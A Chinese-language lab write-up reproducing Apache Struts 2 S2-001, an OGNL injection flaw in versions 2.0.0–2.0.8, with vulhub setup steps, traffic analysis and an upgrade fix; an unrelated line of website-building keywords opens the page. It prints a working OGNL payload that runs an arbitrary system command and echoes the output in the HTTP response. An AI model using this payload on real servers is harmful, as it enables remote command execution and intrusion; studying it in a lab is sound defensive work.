高端网站建设企业,中小企业微信网站建设,常州市经开区建设局网站,wordpress 底部美化0x01 声明#xff1a; 仅供学习参考使用#xff0c;请勿用作违法用途#xff0c;否则后果自负。
0x02 简介#xff1a; Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI#xff0c;鼓励开发者采用MVC架构…0x01 声明 仅供学习参考使用请勿用作违法用途否则后果自负。
0x02 简介 Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI鼓励开发者采用MVC架构。 缘起于Apache Struts的WebWork框架旨在提供相对于Struts框架的增强和改进同时保留与Struts框架类似的结构。2005年12月WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布full release版本释出。
0x03 漏洞概述 该漏洞因用户提交表单数据并且验证失败时后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析然后重新填充到对应的表单数据中。如注册或登录页面提交失败后一般会默认返回之前提交的数据由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析所以可以直接构造 Payload进行命令执行。
0x04 影响版本 Struts 2.0.0 - 2.0.8
0x05 环境搭建
Docker环境搭建 参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)
漏洞环境搭建
下载vulhub
https://github.com/vulhub/vulhub
启动项目
进入s2-001目录
cd /root/vulhub/struts2/s2-001/ 注意
有可能下载不了需要科学上网 访问 0x06 漏洞复现
利用POC:
%{
#a(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),
#b#a.getInputStream(),
#cnew java.io.InputStreamReader(#b),
#dnew java.io.BufferedReader(#c),
#enew char[50000],
#d.read(#e),
#f#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
} 执行任意命令时只需要将上面poc里whoami的命令替换为其他即可。
0x07 流量分析 可以从流量中明显看出恶意命令信息。 0x08 修复建议 从 XWork 2.0.4 开始OGNL 解析已更改其不会递归解析所以可以更新 Struts 版本或 XWork 版本为漏洞修复版本。